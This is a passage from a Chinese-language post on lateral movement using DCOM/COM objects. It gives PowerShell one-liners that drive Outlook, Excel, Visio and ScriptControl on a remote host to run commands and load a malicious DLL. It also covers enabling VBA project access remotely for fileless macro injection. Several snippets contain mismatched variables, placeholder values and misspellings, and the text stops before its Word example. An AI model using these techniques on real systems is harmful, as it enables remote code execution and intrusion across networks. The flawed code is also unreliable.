横向移动:使用COM对象进行横向移动的一些探讨

注意: 目标主机中安装有Visio才能成功利用。 6.Outlook在Outlook对象允许实例化和任意COM相互作用通过“创建对象”对象方法。这使攻击者可以与远程计算机上的COM对象进行交互,这些对象通常不...
注意:
目标主机中安装有Visio才能成功利用。

6.Outlook

在Outlook对象允许实例化和任意COM相互作用通过“创建对象”对象方法。这使攻击者可以与远程计算机上的COM对象进行交互,这些对象通常不会由DCOM公开。
创建Outlook对象的实例
$a=[activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.APPLICATION","10.10.10.10")) 
可以通过通过Outlook创建Shell.Application对象来实现命令行执行:
$a=[activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.APPLICATION","10.10.10.10")) .createObject("Shell.Application")
$a.shellExecute(calc.exe)
该命令作为Outlook的直接子进程运行。
注意-可以将“ Shell.Application”(已加载的shell32.dll中实现)对象替换为“ Wscript.Shell”.

7.Excel XLL (Excel进程加载恶意的DLL)

XLL库可以扩展Excel,XLL库只是导出特定功能的DLL。Excel.Application对象通过RegisterXLL方法利用此功能。
$a=?[activator]::CreateInstance([type]::GetTypeFromProgID("Excel.APPLICATION","10.10.10.10")) .RegisterXLL("我们的恶意DLL路径")

8.任意脚本执行

通过CreateObject和ScriptControl执行OutlookScript
使用Outlook访问ScriptControl COM类,我们可以利用该字符串运行以字符串格式提供的脚本:
$a=[activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.APPLICATION","10.10.10.10")) .CreateObject("b")
$b.language="VBScript"
$b.AddCode('CreateObject("Wcript.Shell").Exec("Calc.exe")')
ScriptControl对象是在msscript.ocx中实现的,很少使用,并且合法地加载此对象的Outlook实例是极为罕见的现象。此外,我们可以将加载jscript.dll或vbscript.dll来运行脚本本身。
限制-ScriptControl对象仅在32位版本中可用。由于64位进程无法加载32位inproc对象,因此64位Outlook无法与该对象进行交互。
Visio对象提供了一种直接方法,可以使用“ ExecuteLine”方法从字符串运行VBA的任何代码:
$a=[activator]::CreateInstance([type]::GetTypeFromProgID("a.invisibleapp","10.10.10.10"))
$b=$a.documents.Add("")
$b.Executeline('CreateObject("wscript.Shell").exec("calc.exe")')

VBE7.dll和ScrRun.dll已加载到Visio进程中

注意-ExecuteLine方法仅允许执行一行代码。通过使用冒号(:)符号将语句分隔在一行上,可以绕过此操作。

9.OFFICE无文件宏执行

Office中的VBA引擎模型通常是无法通过编程实现的,需要通过每个应用程序的属性菜单中的“对Visual Basic项目的信任访问”选项来启用。
也可以通过注册表中每个相关Office应用程序HKCU\Software\Microsoft\Office\<office version>\<office application name>\Security\accessVBOM的值来完成此操作。将这些值远程设置为1(例如,通过WMI)可以将VBA宏注入并执行到Excel,Word,PowerPoint和Access中,而无需首先提供带有文档文件的有效负载。

我们使用的宏来运行calc.exe:
下面是我们的宏代码
$a='Sub Execute()'
CreateObject("Wscript.Shell").Exec("calc.exe")
End Sub


Sub AutoOpen()
Excute
end Sub'
通过Excel执行:
$b=[activator]::CreateInstance([type]::GetTypeFromProgID("Excel.application"))
$c=$b.Workbooks.Add("")
$c.VBProject.VBComponents(1).codeModule.ADDFromString($a) //注意:这里加载我们上面的宏代码
$b.run("Book1!ThisWorkbook.Execute")
$b.Quit()
通过Word执行:
  • 发表于 2021-04-13 08:19
  • 阅读 ( 253 )
  • 分类:互联网

0 条评论

请先 登录 后评论
广东叶子
广东叶子

685 篇文章

你可能感兴趣的文章

相关问题